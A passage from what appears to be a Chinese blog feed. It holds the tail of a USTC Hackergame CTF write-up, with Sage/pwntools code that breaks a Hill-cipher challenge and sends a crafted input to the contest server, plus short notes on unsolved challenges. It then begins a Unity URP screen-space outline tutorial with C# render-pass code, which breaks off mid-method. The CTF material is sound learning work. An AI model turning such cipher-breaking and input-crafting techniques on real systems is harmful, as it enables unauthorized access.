<span class="n">base_input</span><span class="o">=</span><span class="n">random_input</span><span class="p">()</span>
<span class="n">base_result</span><span class="o">=</span><span class="n">get_ciphertext</span><span class="p">(</span><span class="n">base_input</span><span class="p">)</span>
<span class="n">has_zero</span><span class="o">=</span><span class="bp">False</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="k">if</span> <span class="n">base_result</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">has_zero</span><span class="o">=</span><span class="bp">True</span>
<span class="k">break</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">has_zero</span><span class="p">:</span>
<span class="n">sage_vec</span><span class="o">=</span><span class="n">sage</span><span class="p">.</span><span class="nb">all</span><span class="p">.</span><span class="n">vector</span><span class="p">(</span><span class="n">base_ring</span><span class="p">,[</span><span class="n">m</span> <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">base_result</span><span class="p">])</span>
<span class="n">decrypted</span><span class="o">=</span><span class="nb">bytes</span><span class="p">(</span><span class="n">sage</span><span class="p">.</span><span class="nb">all</span><span class="p">.</span><span class="n">vector</span><span class="p">(</span><span class="n">sage</span><span class="p">.</span><span class="nb">all</span><span class="p">.</span><span class="n">ZZ</span><span class="p">,</span><span class="n">decrypt_key</span> <span class="o">*</span> <span class="n">sage_vec</span><span class="p">))</span>
<span class="n">flag</span><span class="o">=</span><span class="nb">bytes</span><span class="p">((</span><span class="n">decrypted</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">^</span><span class="n">base_input</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">)))</span>
<span class="k">break</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="不可加密的异世界-2---希尔之核">不可加密的异世界 2 - 希尔之核</h2>
<p>这好办,任取一个密钥矩阵的一个本征值为 1 的 本征向量即可,题目的构造保证一定会有这样的。不过我们要小心不要让他们中有值为 256 的向量。为此我们只需要进行随机即可,毕竟不像第三部分,抽中的概率还挺大的。代码如下(接在上一小题代码的后面):</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">eigenspaces</span><span class="o">=</span><span class="n">key_matrix</span><span class="p">.</span><span class="n">eigenspaces_right</span><span class="p">(</span><span class="nb">format</span><span class="o">=</span><span class="s">'galois'</span><span class="p">)</span>
<span class="n">target_eigenspace</span><span class="o">=</span><span class="bp">None</span>
<span class="k">for</span> <span class="n">eigenvalue</span><span class="p">,</span><span class="n">eigenspace</span> <span class="ow">in</span> <span class="n">eigenspaces</span><span class="p">:</span>
<span class="k">if</span> <span class="n">eigenvalue</span><span class="o">==</span><span class="mi">1</span><span class="p">:</span>
<span class="n">target_eigenspace</span><span class="o">=</span><span class="n">eigenspace</span>
<span class="k">break</span>
<span class="n">target_input</span><span class="o">=</span><span class="bp">None</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">random_vector</span><span class="o">=</span><span class="n">target_eigenspace</span><span class="p">.</span><span class="n">random_element</span><span class="p">()</span>
<span class="n">has_256</span><span class="o">=</span><span class="bp">False</span>
<span class="n">all_zero</span><span class="o">=</span><span class="bp">True</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="k">if</span> <span class="n">random_vector</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span><span class="p">:</span>
<span class="n">all_zero</span><span class="o">=</span><span class="bp">False</span>
<span class="k">if</span> <span class="n">random_vector</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">==</span><span class="mi">256</span><span class="p">:</span>
<span class="n">has_256</span><span class="o">=</span><span class="bp">True</span>
<span class="k">break</span>
<span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="n">has_256</span> <span class="ow">or</span> <span class="n">all_zero</span><span class="p">):</span>
<span class="n">target_input</span><span class="o">=</span><span class="nb">bytes</span><span class="p">(</span><span class="n">random_vector</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">print</span><span class="p">(</span><span class="n">target_input</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">target_input</span><span class="p">.</span><span class="nb">hex</span><span class="p">().</span><span class="n">encode</span><span class="p">())</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="关于其他未解出的题目">关于其他未解出的题目</h2>
<p>以上就是我所有解出的题目的 Writeup 了。这里我再大致评论一下我没解出的题目:</p>
<ul>
<li>旅行照片 3.0 - 后会有期,学长!:终于有能击败电子幽灵的搜索题目了。首先,我漏掉了学长身上的会议绳带信息,导致做不出第五题。其次我漏掉了任天堂 logo 下面的 TOKYO 字样,把马里奥世界当成了大坂环球影城的任天堂区域,导致做不出第六题的后半。最后,我以为这个品牌的活动只是一般的宣传,没能搜索到第六题的前半。真是完败啊!下次还是得把图片的每个像素都仔细看一遍。</li>
<li>🪐 小型大语言模型星球 - Accepted/Hackergame/🐮:我十分不了解大语言模型,也不懂 prompt engineering。第二问想到了能够暴力搜索,但是没能进行实现,有点可惜。至于后面的部分,就只能看题解学习了。</li>
<li>🪐 低带宽星球 - 极致压缩:确实想到了看 libvips 支持什么格式,然而没能查到列表。不过官方题解使用 JXL 这种很新的格式也是开了眼界。</li>
<li>链上猎手:本届的区块链题明显比往届复杂,所以完全放弃了本题。看题解的话,第一小题还是不那么复杂的,至于后面的就只能学习一个了。</li>
<li>It’s MyCalculator!!!!!:没有看出来可以通过整数溢出写到 buffer 的负数位置,算是失误,但是后面的部分好像也有些复杂,没做出来情有可原。</li>
<li>黑客马拉松:需要一些数学,看题解是需要 Coppersmith,总之学习一个。</li>
<li>不可加密的异世界 2 - 希尔之秘:想到了是格上的 CVP 问题,但是没有去实现,有些可惜。</li>
<li>旧日之痕:由于是压轴题所以没有尝试,看上去是与二进制水印有关,总之学习一个。</li>
</ul>
<h2 id="总结">总结</h2>
<p>今年拿到了 11 名,和往年相比有些上升。拿到了 6400/10000 分,和去年在比例上也略有上升。看来与往年相比今年还是有所进步。不过感觉今年的难度曲线要更陡峭一些,不知道是不是错觉。</p>
<p>不过今年没有像去年 Writeup 里说的一样重新爆破一个 Tag,希望下次可以实现。</p>
<p>总之,明年有空一定还来。</p>benpigchu题图是本次 USTC Hackergame 我的题目完成情况在 Unity 的 URP 中实现屏幕空间描边效果2023-08-03T17:02:27+00:002023-08-03T17:02:27+00:00http://benpigchu.github.io/pikanote/article/unity-urp-outline<blockquote>
<p>题图为最终实现的描边效果</p>
</blockquote>
<p>最近因为想要在一个私下的 Unity 项目中改善一下已选中物体的高亮效果,所以想要实现给物体描边的效果。由于我希望同时选中不同物体的时候不同选中的物体之间不描边,所以使用屏幕空间的描边而不是对各个物体分别描边会比较好。当然,借此机会也能熟悉一下对 URP 进行扩展的方法。接下来就来大概介绍一下这个效果是如何实现的。</p>
<p>本文中使用的 Unity 版本是 2023.1.5f1,对应的 Universal RP 包和 Core RP Library 包版本是 15.0.6。不排除本文中提到的技术细节将来出现变化的可能性。</p>
<h2 id="基本实现思路">基本实现思路</h2>
<p>稍微熟悉一点图形学的都应当知道,最基本的屏幕空间描边的实现步骤大致如下:</p>
<ul>
<li>把需要描边的物体单独渲染到一张贴图里,作为要描边的内容的 Mask</li>
<li>用一个 Shader,对每个像素附近的一些像素进行采样,如果在 Mask 中则在对应像素画上描边</li>
</ul>
<p>接下来介绍如何在 Unity 的 URP 的框架中,使用 <code class="language-plaintext highlighter-rouge">ScriptableRendererFeature</code> 实现这个效果。</p>
<h2 id="建立自定义的-scriptablerendererfeature">建立自定义的 <code class="language-plaintext highlighter-rouge">ScriptableRendererFeature</code></h2>
<p>按照 <a href="https://docs.unity3d.com/Packages/com.unity.render-pipelines.universal@16.0/manual/renderer-features/create-custom-renderer-feature.html" target="_blank" rel="noopener">Unity 的相关文档</a>,我们应当编写一个继承了 <code class="language-plaintext highlighter-rouge">ScriptableRendererFeature</code> 的类来对 URP 的渲染器提供功能扩展。</p>
<p>我们在自己的 <code class="language-plaintext highlighter-rouge">ScriptableRendererFeature</code> 需要重写的方法包括:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">Create</code>:在渲染管线初始化时调用,用来创建需要用到的 <code class="language-plaintext highlighter-rouge">ScriptableRenderPass</code>。
<code class="language-plaintext highlighter-rouge">ScriptableRenderPass</code> 的用法将会在本文之后的部分介绍</li>
<li><code class="language-plaintext highlighter-rouge">AddRenderPasses</code>:在每帧渲染开始时调用,用于将之前创建的 <code class="language-plaintext highlighter-rouge">ScriptableRenderPass</code> 放入本帧的渲染队列中,让渲染器之后执行它</li>
<li><code class="language-plaintext highlighter-rouge">SetupRenderPasses</code>:在每帧渲染开始时调用,用于配置之前创建的 <code class="language-plaintext highlighter-rouge">ScriptableRenderPass</code>。这一步和前面的 <code class="language-plaintext highlighter-rouge">AddRenderPasses</code> 分开的原因在文档中讲得不是很清楚,似乎是渲染相关的一些资源(比如 Camera 用到的 RenderTarget 什么的)要到这一步才能拿到</li>
</ul>
<p>另外,<code class="language-plaintext highlighter-rouge">ScriptableRendererFeature</code> 编写完成之后,我们可以在编辑器中将其加入到 URP 渲染器里,并对其进行一些配置,具体的操作请看 <a href="https://docs.unity3d.com/Packages/com.unity.render-pipelines.universal@16.0/manual/urp-renderer-feature-how-to-add.html" target="_blank" rel="noopener">Unity 的相关文档</a>。<code class="language-plaintext highlighter-rouge">ScriptableRendererFeature</code> 继承了 <code class="language-plaintext highlighter-rouge">ScriptableObject</code>,所以我们可以用和 <code class="language-plaintext highlighter-rouge">ScriptableObject</code> 一样的方式自定义它的编辑器。</p>
<p>在我们的用例当中,我们可以配置的内容包括:</p>
<ul>
<li>用来选出需要高亮的物体的层</li>
<li>用来描边的 Shader</li>
<li>选区的颜色和描边的颜色</li>
<li>用来确定描边宽度的参数</li>
</ul>
<p>我们的实现如下:</p>
<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">class</span> <span class="nc">SelectionRendering</span> <span class="p">:</span> <span class="n">ScriptableRendererFeature</span>
<span class="p">{</span>
<span class="n">SelectionPass</span> <span class="n">selectionPass</span><span class="p">;</span>
<span class="k">public</span> <span class="n">Shader</span> <span class="n">SelectionBlitShader</span><span class="p">;</span>
<span class="k">public</span> <span class="n">Color</span> <span class="n">OutlineColor</span><span class="p">;</span>
<span class="k">public</span> <span class="n">Color</span> <span class="n">SelectionColor</span><span class="p">;</span>
<span class="k">public</span> <span class="kt">float</span> <span class="n">SampleDistance</span><span class="p">;</span>
<span class="k">public</span> <span class="kt">float</span> <span class="n">SampleDistanceReferenceWidth</span><span class="p">;</span>
<span class="k">public</span> <span class="kt">uint</span> <span class="n">RenderingLayerMask</span> <span class="p">=</span> <span class="kt">uint</span><span class="p">.</span><span class="n">MaxValue</span><span class="p">;</span>
<span class="k">public</span> <span class="k">override</span> <span class="k">void</span> <span class="nf">Create</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">SelectionBlitShader</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">SelectionBlitShader</span> <span class="p">=</span> <span class="n">Shader</span><span class="p">.</span><span class="nf">Find</span><span class="p">(</span><span class="s">"SelectionRendering/SelectionBlit"</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// 建立对应的 ScriptableRenderPass</span>
<span class="n">selectionPass</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SelectionPass</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
<span class="c1">// 将 ScriptableRenderPass 的渲染时机指定为所有其他渲染操作完成之后</span>
<span class="n">selectionPass</span><span class="p">.</span><span class="n">renderPassEvent</span> <span class="p">=</span> <span class="n">RenderPassEvent</span><span class="p">.</span><span class="n">AfterRendering</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">override</span> <span class="k">void</span> <span class="nf">AddRenderPasses</span><span class="p">(</span><span class="n">ScriptableRenderer</span> <span class="n">renderer</span><span class="p">,</span> <span class="k">ref</span> <span class="n">RenderingData</span> <span class="n">renderingData</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// 在编辑器中不渲染描边</span>
<span class="k">if</span> <span class="p">(</span><span class="n">renderingData</span><span class="p">.</span><span class="n">cameraData</span><span class="p">.</span><span class="n">cameraType</span> <span class="p">==</span> <span class="n">CameraType</span><span class="p">.</span><span class="n">Game</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// 把创建的 ScriptableRenderPass 放入渲染队列</span>
<span class="n">renderer</span><span class="p">.</span><span class="nf">EnqueuePass</span><span class="p">(</span><span class="n">selectionPass</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">override</span> <span class="k">void</span> <span class="nf">SetupRenderPasses</span><span class="p">(</span><span class="n">ScriptableRenderer</span> <span class="n">renderer</span><span class="p">,</span> <span class="k">in</span> <span class="n">RenderingData</span> <span class="n">renderingData</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">renderingData</span><span class="p">.</span><span class="n">cameraData</span><span class="p">.</span><span class="n">cameraType</span> <span class="p">==</span> <span class="n">CameraType</span><span class="p">.</span><span class="n">Game</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// 把当前相机的 RenderTarget 传给创建的 ScriptableRenderPass</span>
<span class="n">selectionPass</span><span class="p">.</span><span class="nf">SetTarget</span><span class="p">(</span><span class="n">renderer</span><span class="p">.</span><span class="n">cameraColorTargetHandle</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="编写自定义的-scriptablerenderpass">编写自定义的 <code class="language-plaintext highlighter-rouge">ScriptableRenderPass</code></h2>
<p><code class="language-plaintext highlighter-rouge">ScriptableRenderPass</code> 是实际执行渲染操作的类。我们继承此类时需要重载的方法如下:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">OnCameraSetup</code>:此方法在相机初始化时调用,用于初始化相关的 RenderTarget 等资源,并进行一些配置</li>
<li><code class="language-plaintext highlighter-rouge">Execute</code>:真正的渲染过程</li>
</ul>
<p>在实现具体的功能之前我们需要一些组件,接下来逐一进行介绍。</p>
<p>在我们的实现思路中,我们需要一个中间的贴图。在 Unity 的可编程渲染管线这一套里面,我们应当使用 <code class="language-plaintext highlighter-rouge">RTHandle</code> 来管理 RenderTarget。Universal RP 包提供了 <code class="language-plaintext highlighter-rouge">RenderingUtils.ReAllocateIfNeeded</code> 方法来按需分配和重新分配我们需要的 <code class="language-plaintext highlighter-rouge">RTHandle</code> ,只需要传入 <code class="language-plaintext highlighter-rouge">RenderTextureDescriptor</code> 指定 RenderTarget 的格式即可。在 <code class="language-plaintext highlighter-rouge">OnCameraSetup</code> 方法中,我们可以从 <code class="language-plaintext highlighter-rouge">renderingData</code> 参数中获得相机信息,再从中获得本次渲染的相机的 RenderTarget 的以 <code class="language-plaintext highlighter-rouge">RenderTextureDescriptor</code> 表示的格式,基于这些信息我们就可以维护我们需要的中间贴图了。</p>
<p>那么接下来我们需要将需要描边的物体渲染到中间贴图上。这里我们需要通过 <code class="language-plaintext highlighter-rouge">Execute</code> 的参数中传进来的 <code class="language-plaintext highlighter-rouge">context</code> 参数上的 <code class="language-plaintext highlighter-rouge">CreateRendererList</code> 创建一个用来表示物体绘制过程的 <code class="language-plaintext highlighter-rouge">RendererList</code>, 然后将其提交到 <code class="language-plaintext highlighter-rouge">CommandBuffer</code> 中执行。<code class="language-plaintext highlighter-rouge">RendererList</code> 的创建需要用到 <code class="language-plaintext highlighter-rouge">RendererListParams</code>,在其中包含了用 <code class="language-plaintext highlighter-rouge">CullingResults</code> 表示的剔除操作的结果,用来指定绘制方式的 <code class="language-plaintext highlighter-rouge">DrawingSettings</code>,和用于筛选物体的 <code class="language-plaintext highlighter-rouge">FilteringSettings</code>。其中 <code class="language-plaintext highlighter-rouge">CullingResults</code> 可以直接从 <code class="language-plaintext highlighter-rouge">renderingData</code> 参数获取,剩下两个需要我们手动构建。</p>
<p>要构建 <code class="language-plaintext highlighter-rouge">FilteringSettings</code>,我们只需要指定要渲染的物体在渲染队列中的范围,物体所在的层,物体所在的渲染层即可。注意层和渲染层是两个不同的东西,物体的层也会被物理引擎等其他子系统用到,但是渲染层只被渲染引擎关心。同时,一个物体可以同时属于多个渲染层。</p>
<p>要构建 <code class="language-plaintext highlighter-rouge">DrawingSettings</code>,我们需要通过一个 <code class="language-plaintext highlighter-rouge">ShaderTagId</code> 的列表指定使用哪些 Shader Pass 进行绘制,然后从 <code class="language-plaintext highlighter-rouge">renderingData</code> 中获取指定物体渲染顺序的 <code class="language-plaintext highlighter-rouge">SortingSettings</code> 即可。除此之外我们也可以覆盖物体的材质等等,但这里我们没有使用这个功能。</p>
<p>将这些配置都设置好之后,我们便可以把选中物体的 Mask 渲染出来,然后用它渲染描边了。这里需要使用 <code class="language-plaintext highlighter-rouge">Blitter.BlitCameraTexture</code> 方法把我们的 Mask 材质经过我们自定义材质覆盖到相机已经渲染好的内容上,然后我们就完成了描边的渲染。</p>
<p>我们的实现如下,刚才的描述中没有顾及到的细节在注释中给出:</p>
<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">SelectionPass</span> <span class="p">:</span> <span class="n">ScriptableRenderPass</span>
<span class="p">{</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">readonly</span> <span class="kt">int</span> <span class="n">SampleDistanceShaderId</span> <span class="p">=</span> <span class="n">Shader</span><span class="p">.</span><span class="nf">PropertyToID</span><span class="p">(</span><span class="s">"_SampleDistance"</span><span class="p">);</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">readonly</span> <span class="kt">int</span> <span class="n">BlitTextureSizeShaderId</span> <span class="p">=</span> <span class="n">Shader</span><span class="p">.</span><span class="nf">PropertyToID</span><span class="p">(</span><span class="s">"_BlitTextureSize"</span><span class="p">);</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">readonly</span> <span class="kt">int</span> <span class="n">SelectionColorShaderId</span> <span class="p">=</span> <span class="n">Shader</span><span class="p">.</span><span class="nf">PropertyToID</span><span class="p">(</span><span class="s">"_SelectionColor"</span><span class="p">);</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">readonly</span> <span class="kt">int</span> <span class="n">OutlineShaderId</span> <span class="p">=</span> <span class="n">Shader</span><span class="p">.</span><span class="nf">PropertyToID</span><span class="p">(</span><span class="s">"_OutlineColor"</span><span class="p">);</span>
<span class="k">public</span> <span class="n">SelectionRendering</span> <span class="n">feature</span><span class="p">;</span>
<span class="k">private</span> <span class="n">RTHandle</span> <span class="n">selection</span><span class="p">;</span>
<span class="k">private</span> <span class="n">RTHandle</span> <span class="n">selectionDepth</span><span class="p">;</span>
<span class="k">private</span> <span class="n">RTHandle</span> <span class="n">cameraColor</span><span class="p">;</span>
<span class="k">private</span> <span class="n">List</span><span class="p"><</span><span class="n">ShaderTagId</span><span class="p">></span> <span class="n">shaderTagIdList</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p"><</span><span class="n">ShaderTagId</span><span class="p">></span> <span class="p">{</span>
<span class="k">new</span> <span class="nf">ShaderTagId</span><span class="p">(</span><span class="s">"UniversalForward"</span><span class="p">),</span>
<span class="k">new</span> <span class="nf">ShaderTagId</span><span class="p">(</span><span class="s">"UniversalForwardOnly"</span><span class="p">),</span>
<span class="k">new</span> <span class="nf">ShaderTagId</span><span class="p">(</span><span class="s">"LightweightForward"</span><span class="p">),</span>
<span class="k">new</span> <span class="nf">ShaderTagId</span><span class="p">(</span><span class="s">"SRPDefaultUnlit"</span><span class="p">)</span>
<span class="p">};</span>
<span class="k">public</span> <span class="n">Material</span> <span class="n">selectionBlitMaterial</span><span class="p">;</span>
<span class="k">private</span> <span class="k">static</span> <span class="k">readonly</span> <span class="n">ShaderTagId</span> <span class="n">SelectionShaderTagId</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">ShaderTagId</span><span class="p">(</span><span class="s">"Selection"</span><span class="p">);</span>
<span class="k">public</span> <span class="nf">SelectionPass</span><span class="p">(</span><span class="n">SelectionRendering</span> <span class="n">feature</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="n">feature</span> <span class="p">=</span> <span class="n">feature</span><span class="p">;</span>
<span class="c1">// 在构造函数中创建描边时使用的材质</span>
<span class="k">this</span><span class="p">.</span><span class="n">selectionBlitMaterial</span> <span class="p">=</span> <span class="n">CoreUtils</span><span class="p">.</span><span class="nf">CreateEngineMaterial</span><span class="p">(</span><span class="n">feature</span><span class="p">.</span><span class="n">SelectionBlitShader</span><span class="p">);</span>
<span class="n">profilingSampler</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">ProfilingSampler</span><span class="p">(</span><span class="s">"SelectionPass"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">void</span> <span class="nf">SetTarget</span><span class="p">(</span><span class="n">RTHandle</span> <span class="n">cameraColor</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="n">cameraColor</span> <span class="p">=</span> <span class="n">cameraColor</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">override</span> <span class="k">void</span> <span class="nf">OnCameraSetup</span><span class="p">(</span><span class="n">CommandBuffer</span> <span class="n">cmd</span><span class="p">,</span> <span class="k">ref</span> <span class="n">RenderingData</span> <span class="n">renderingData</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">RenderTextureDescriptor</span> <span class="n">descriptor</span> <span class="p">=</span> <span class="n">renderingData</span><span class="p">.</span><span class="n">cameraData</span><span class="p">.</span><span class="n">cameraTargetDescriptor</span><span class="p">;</span>
<span class="n">descriptor</span><span class="p">.</span><span class="n">colorFormat</span> <span class="p">=</span> <span class="n">RenderTextureFormat</span><span class="p">.</span><span class="n">ARGB32</span><span class="p">;</span>
<span class="c1">// 分配深度 RenderTexture</span>
<span class="n">RenderingUtils</span><span class="p">.</span><span class="nf">ReAllocateIfNeeded</span><span class="p">(</span><span class="k">ref</span> <span class="n">selectionDepth</span><span class="p">,</span> <span class="n">descriptor</span><span class="p">,</span> <span class="n">wrapMode</span><span class="p">:</span> <span class="n">TextureWrapMode</span><span class="p">.</span><span class="n">Clamp</span><span class="p">,</span> <span class="n">name</span><span class="p">:</span> <span class="s">"_selection"</span><span class="p">);</span>
<span class="c1">// 分配颜色 RenderTexture</span>
<span class="n">descriptor</span><span class="p">.</span><span class="n">depthBufferBits</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
<span class="n">RenderingUtils</span><span class="p">.</span><span class="nf">ReAllocateIfNeeded</span><span class="p">(</span><span class="k">ref</span> <span class="n">selection</span><span class="p">,</span> <span class="n">descriptor</span><span class="p">,</span> <span class="n">wrapMode</span><span class="p">:</span> <span class="n">TextureWrapMode</span><span class="p">.</span><span class="n">Clamp</span><span class="p">,</span> <span class="n">name</span><span class="p">:</span> <span class="s">"_selection"</span><span class="p">);</span>
<span class="c1">// 设置描边材质的信息,这里我希望描边宽度与分辨率成正比所以做了一些计算</span>
<span class="n">selectionBlitMaterial</span><span class="p">.</span><span class="nf">SetFloat</span><span class="p">(</span><span class="n">SampleDistanceShaderId</span><span class="p">,</span> <span class="n">feature</span><span class="p">.</span><span class="n">SampleDistance</span> <span class="p">*</span> <span class="p">((</span><span class="kt">float</span><span class="p">)</span><span class="n">descriptor</span><span class="p">.</span><span class="n">width</span><span class="p">)</span> <span class="p">/</span> <span class="n">feature</span><span class="p">.</span><span class="n">SampleDistanceReferenceWidth</span><span class="p">);</span>
<span class="n">selectionBlitMaterial</span><span class="p">.</span><span class="nf">SetVector</span><span class="p">(</span><span class="n">BlitTextureSizeShaderId</span><span class="p">,</span> <span class="k">new</span> <span class="nf">Vector4</span><span class="p">(</span><span class="n">descriptor</span><span class="p">.</span><span class="n">width</span><span class="p">,</span> <span class="n">descriptor</span><span class="p">.</span><span class="n">height</span><span class="p">));</span>
<span class="n">selectionBlitMaterial</span><span class="p">.</span><span class="nf">SetColor</span><span class="p">(</span><span class="n">SelectionColorShaderId</span><span class="p">,</span> <span class="n">feature</span><span class="p">.</span><span class="n">SelectionColor</span><span class="p">);</span>
<span class="n">selectionBlitMaterial</span><span class="p">.</span><span class="nf">SetColor</span><span class="p">(</span><span class="n">OutlineShaderId</span><span class="p">,</span> <span class="n">feature</span><span class="p">.</span><span class="n">OutlineColor</span><span class="p">);</span>
<span class="c1">// 指定 Render Target 和渲染前 RenderTexture 的清空方式</span>
<span class="c1">// 这里需要注意的是,不能只使用颜色 RenderTexture 而不使用深度 RenderTexture,否则会报错</span>
<span class="nf">ConfigureTarget</span><span class="p">(</span><span class="n">selection</span><span class="p">,</span> <span class="n">selectionDepth</span><span class="p">);</span>
<span class="nf">ConfigureClear</span><span class="p">(</span><span class="n">ClearFlag</span><span class="p">.</span><span class="n">All</span><span class="p">,</span> <span class="k">new</span> <span class="nf">Color</span><span class="p">(</span><span class="m">0</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="m">0</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">override</span> <span class="k">void</span> <span class="nf">Execute</span><span class="p">(</span><span class="n">ScriptableRenderContext</span> <span class="n">context</span><span class="p">,</span> <span class="k">ref</span> <span class="n">RenderingData</span> <span class="n">renderingData</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// 在编辑器中不渲染描边</span>
<span class="k">if</span> <span class="p">(</span><span class="n">renderingData</span><span class="p">.</span><span class="n">cameraData</span><span class="p">.</span><span class="n">cameraType</span> <span class="p">!=</span> <span class="n">CameraType</span><span class="p">.</span><span class="n">Game</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// 分配渲染用的 CommandBuffer</span>
<span class="n">CommandBuffer</span> <span class="n">cmd</span> <span class="p">=</span> <span class="n">CommandBufferPool</span><span class="p">.</span><span class="nf">Get</span><span class="p">(</span><span class="n">name</span><span class="p">:</span> <span class="s">"Selection"</span><span class="p">);</span>
<span class="c1">// ProfilingScope 仅仅是为了方便在 Profiler 中显示</span>
<span class="k">using</span> <span class="p">(</span><span class="k">new</span> <span class="nf">ProfilingScope</span><span class="p">(</span><span class="n">profilingSampler</span><span class="p">))</span>
<span class="p">{</span>
<span class="c1">// 指定 DrawingSettings,这里使用了 URP 默认的 Shader Pass</span>
<span class="n">DrawingSettings</span> <span class="n">drawingSettings</span> <span class="p">=</span> <span class="nf">CreateDrawingSettings</span><span class="p">(</span><span class="n">shaderTagIdList</span><span class="p">,</span> <span class="k">ref</span> <span class="n">renderingData</span><span class="p">,</span> <span class="n">renderingData</span><span class="p">.</span><span class="n">cameraData</span><span class="p">.</span><span class="n">defaultOpaqueSortFlags</span><span class="p">);</span>
<span class="n">RendererListParams</span> <span class="n">rendererListParams</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">RendererListParams</span><span class="p">(</span>
<span class="n">renderingData</span><span class="p">.</span><span class="n">cullResults</span><span class="p">,</span>
<span class="n">drawingSettings</span><span class="p">,</span>
<span class="c1">// 指定 FilteringSettings,这里我们只关心渲染层</span>
<span class="k">new</span> <span class="nf">FilteringSettings</span><span class="p">(</span><span class="n">RenderQueueRange</span><span class="p">.</span><span class="n">all</span><span class="p">,</span> <span class="p">-</span><span class="m">1</span><span class="p">,</span> <span class="n">feature</span><span class="p">.</span><span class="n">RenderingLayerMask</span><span class="p">)</span>
<span class="p">);</span>
<span class="c1">// 构建 RendererList</span>
<span class="n">RendererList</span> <span class="n">rendererList</span> <span class="p">=</span> <span class="n">context</span><span class="p">.</span><span class="nf">CreateRendererList</span><span class="p">(</span><span class="k">ref</span> <span class="n">rendererListParams</span><span class="p">);</span>
<span class="c1">// 渲染 RendererList</span>
<span class="n">cmd</span><span class="p">.</span><span class="nf">DrawRendererList</span><span class="p">(</span><span class="n">rendererList</span><span class="p">);</span>
<span class="n">context</span><span class="p">.</span><span class="nf">ExecuteCommandBuffer</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span>
<span class="n">cmd</span><span class="p">.</span><span class="nf">Clear</span><span class="p">();</span>
<span class="c1">// 准备绘制描边</span>
<span class="n">Blitter</span><span class="p">.</span><span class="nf">BlitCameraTexture</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">selection</span><span class="p">,</span> <span class="n">cameraColor</span><span class="p">,</span> <span class="n">selectionBlitMaterial</span><span class="p">,</span> <span class="m">0</span><span class="p">);</span>
<span class="c1">// 执行</span>
<span class="n">context</span><span class="p">.</span><span class="nf">ExecuteCommandBuffer</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span>
